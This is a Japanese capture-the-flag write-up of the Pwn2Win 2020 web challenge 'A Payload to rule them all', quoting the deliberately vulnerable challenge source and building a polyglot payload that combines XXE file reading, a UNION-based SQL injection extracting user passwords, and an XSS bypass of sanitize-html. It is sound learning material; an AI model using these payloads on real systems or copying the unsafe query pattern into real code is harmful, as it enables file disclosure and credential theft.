Pwn2Win CTF 2020 write up
Pwn2Win CTF 2020に参加しました!
(team: score_gazer)
自分は223点を入れ、順位は90位 / 401チーム(0点は除く)でした。
今回は1問(Welcome問を除く)しか解けなかったのですが,せっかくなのでwriteupを書きます。
Web
A Payload to rule them all (Web), 223 pts, 65 solves)
Pwn m3 s3np41!
http://payload.pwn2.win
どうやら、XXE, SQLi, XSSを1つのペイロードで起こせという問題らしいです。
Sourceのリンクをクリックすると、以下のソースが得られます。
/usr/src/app/index.js :
const express = require("express")
const app = express()
const bodyParser = require("body-parser")
const port = 31337
const { execFile } = require("child_process")
const fs = require("fs")
const rateLimit = require("express-rate-limit");
app.use(express.static("static"))
app.use(bodyParser.urlencoded({extended:true}))
const limiter = rateLimit({
windowMs: 10 * 60 * 1000, // 15 minutes
max: 50 // limit each IP to 100 requests per windowMs
});
app.use('/',limiter);
app.post('/', (req,res) => {
const test_payload = execFile("/usr/sbin/gosu",["gnx","/home/gnx/script/test_payload.js",req.body.payload], ( error, stdout, stderr ) => {
if ( stdout.toString().trim() === "parabens hackudo" ) {
res.send(process.env.FLAG)
} else {
res.send("nope")
}
});
console.log(req.body.payload)
})
app.get('/source', (req,res) => {
var out = "/usr/src/app/index.js :\n\n" + fs.readFileSync("/usr/src/app/index.js").toString() + "\n\n"
out += "/home/gnx/script/test_payload.js :\n\n" + fs.readFileSync("/home/gnx/script/test_payload.js") + "\n\n"
res.send(out)
})
app.listen(port,'0.0.0.0', () => console.log(`Chall rodando em http://localhost:${port}`))
/home/gnx/script/test_payload.js :
#!/usr/bin/env node
const puppeteer = require('puppeteer')
const mysql = require("mysql")
const util = require('util')
const libxml = require("libxmljs")
const fs = require("fs")
const sanitizeHtml = require("sanitize-html")
function test_xxe(payload) {
try {
var my_secret = Math.random().toString(36).substring(2) ;
fs.writeFileSync("/home/gnx/script/xxe_secret",my_secret)
var doc = libxml.parseXml(payload, { noent: true ,nonet: true })
return doc.toString().includes(my_secret)
} catch (e) {
return false
}
}
async function test_xss(payload) {
try {
const browser = await puppeteer.launch({args:['--no-sandbox', '--disable-setuid-sandbox','--disable-dev-shm-usage','--disable-accelerated-2d-canvas','--no-first-run','--no-zygote','--single-process','--disable-gpu']})
const page = await browser.newPage()
page.setDefaultNavigationTimeout(1000);
payload = sanitizeHtml(payload,{allowedTags:[]})
await page.goto(`data:text/html,<script>${payload}</script>`)
const check = await page.evaluate("( typeof xss != 'undefined' ? true : false )") // vlw herrera
await browser.close()
return check
} catch (error) {
console.error(error)
}
}
async function test_sqli(payload) {
var connection = mysql.createConnection({
host : process.env.MYSQL_HOST || "127.0.0.1",
user : process.env.MYSQL_USER,
password : process.env.MYSQL_PASSWORD,
database : process.env.MYSQL_DATABASE,
charset: 'utf8',
dialectOptions: {
collate: 'utf8_general_ci',
},
})
const query = util.promisify(connection.query).bind(connection)
connection.connect()
const users = await query("SELECT * from users")
try {
const sqli = await query(`SELECT * from posts where id='${payload}'`)
await connection.end()
return JSON.stringify(sqli).includes(users[0]["password"])
} catch(e) {
return false
}
}
function main(args){
var xss = test_xss(args[0])
var sqli = test_sqli(args[0])
var xxe = test_xxe(args[0])
Promise.all([xss,sqli]).then( function( values ){
if ( values[0] && values[1] && xxe ) {
console.log("parabens hackudo")
} else {
console.log("hack harder")
}
process.exit(0)
})
}
main(process.argv.slice(2))
XXE, SQLi, XSSの箇所について詳しく見ていきます。
- XXE
function test_xxe(payload) {
try {
var my_secret = Math.random().toString(36).substring(2) ;
fs.writeFileSync("/home/gnx/script/xxe_secret",my_secret)
var doc = libxml.parseXml(payload, { noent: true ,nonet: true })
return doc.toString().includes(my_secret)
} catch (e) {
return false
}
}
/home/gnx/script/xxe_secret
を読み出せば良さそうです。
以下のようなペイロードが考えられます。
<!DOCTYPE hoge [<!ENTITY h SYSTEM "file:///home/gnx/script/xxe_secret">]><r>&h;</r>
- SQLi
dialectOptions: {
collate: 'utf8_general_ci',
},
})
const query = util.promisify(connection.query).bind(connection)
connection.connect()
const users = await query("SELECT * from users")
try {
const sqli = await query(`SELECT * from posts where id='${payload}'`)
await connection.end()
return JSON.stringify(sqli).includes(users[0]["password"])
} catch(e) {
return false
}
クエリはSELECT * from posts where id='${payload}'
です。
users
テーブルのpassword
を読み出せば良さそうです。
posts
テーブルの構造が分かりませんが,以下のようなペイロードが考えられます。
' UNION SELECT password from users;--
- XSS
async function test_xss(payload) {
try {
const browser = await puppeteer.launch({args:['--no-sandbox', '--disable-setuid-sandbox','--disable-dev-shm-usage','--disable-accelerated-2d-canvas','--no-first-run','--no-zygote','--single-process','--disable-gpu']})
const page = await browser.newPage()
page.setDefaultNavigationTimeout(1000);
payload = sanitizeHtml(payload,{allowedTags:[]})
await page.goto(`data:text/html,<script>${payload}</script>`)
const check = await page.evaluate("( typeof xss != 'undefined' ? true : false )") // vlw herrera
await browser.close()
return check
} catch (error) {
console.error(error)
}
}
sanitizeHtml
でサニタイズされるのが気になりますが,ひとまずxss
を定義すれば良さそうです。
以下のようなペイロードが考えられます。
var xss = 1
さて,後はこれらのペイロードを組み合わせましょう。
XXE, XSSのペイロードに'
が含まれないので,SQLiは最後にくっつければ良さそうです。
XXE, XSSを組み合わせるにはどうすれば良いでしょうか?
両方とも手元で実装し,試しました。
すると,XSSの判定をする際に,sanitizeHtml
で<
から>
までが削除されていることが分かりました。
XXEのペイロードは以下のように解釈されます。
<!DOCTYPE hoge [<!ENTITY h SYSTEM "file:///home/gnx/script/xxe_secret">]><r>&h;</r>
]>&h;
これでは先頭の]
が邪魔でXSSができません。
XMLの形式を壊さずにもっと前に>
を入れられないでしょうか?
色々試した結果,以下のようにエンティティを追加することで,>
を入れることができました。
<!DOCTYPE hoge [<!ENTITY h SYSTEM "file:///home/gnx/script/xxe_secret"><!ENTITY xss ">">]><r>&h;</r>
あとは先ほどのXSSのペイロードと組み合わせれば良いです。
<!DOCTYPE hoge [<!ENTITY h SYSTEM "file:///home/gnx/script/xxe_secret"><!ENTITY xss ">var xss = 1//">]><r>&h;</r>
最後にSQLiのペイロードをくっつけましょう。
<!DOCTYPE hoge [<!ENTITY h SYSTEM "file:///home/gnx/script/xxe_secret"><!ENTITY xss ">var xss = 1//">]><r>&h;</r><!--' UNION SELECT password FROM users;# -->
SQLiのペイロードをXML形式でコメントアウトすればOKです。
その場合,SQLのコメントアウトに--
が使えないので,代わりに#
を使いました。
後はカラム数を合わせるために,null
などをつけて調整します。
最終的に,以下のようなペイロードが完成しました。
<!DOCTYPE hoge [<!ENTITY h SYSTEM "file:///home/gnx/script/xxe_secret"><!ENTITY xss ">var xss = 1//">]><r>&h;</r><!--' UNION SELECT password,null,null FROM users;# -->
このペイロードを入力すると,フラグが得られました!!!
CTF-BR{p4yl04d_p0lygl0ts_4r3_m0r3_fun_th4n_f1l3typ3s}